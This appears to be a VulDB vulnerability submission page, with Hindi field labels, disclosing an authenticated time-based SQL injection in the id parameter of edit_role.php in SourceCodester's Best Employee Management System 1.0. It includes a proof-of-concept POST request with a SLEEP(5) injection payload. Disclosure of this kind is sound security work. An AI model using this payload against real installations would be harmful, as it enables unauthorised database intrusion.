| शीर्षक | SourceCodester Best employee management system 1.0 SQL Injection |
|---|
| विवरण | Vulnerability Type: Time-Based SQL Injection
Product Name: Employee Management System
Software Link: https://www.sourcecodester.com/php/17689/best-employee-management-system-php.html
Advisory Link: https://github.com/sh3rl0ckpggp/0day/blob/main/authenticated_sqli_Employee_management_system.md
Affected Script: edit_role.php
Author: sh3rl0ckpgp
Vendor Homepage: https://www.sourcecodester.com
Vulnerability Status: Verified
Proof of Concept (PoC)
Vulnerable Request:
======
POST /hr_soft/admin/edit_role.php HTTP/1.1
Host: localhost
Content-Length: 38
Content-Type: application/x-www-form-urlencoded
id=1';SELECT SLEEP(5) AND 'test'='test
PoC Payload: 1';SELECT SLEEP(5) AND 'test'='test
Explanation: This payload introduces a 5-second delay if the injection is successful, confirming the vulnerability.
This vulnerability has been verified and documented. Please assign a CVE to facilitate tracking and awareness.
|
|---|
| स्रोत | ⚠️ https://github.com/sh3rl0ckpggp/0day/blob/main/authenticated_sqli_Employee_management_system.md |
|---|
| उपयोगकर्ता | sh3rl0ckpgp (UID 77534) |
|---|
| सबमिशन | 13/11/2024 01:05 PM (2 साल पहले) |
|---|
| संयम | 14/11/2024 09:09 AM (20 hours later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 284529 [SourceCodester Best Employee Management System 1.0 /admin/edit_role.php id SQL इंजेक्शन] |
|---|
| अंक | 20 |
|---|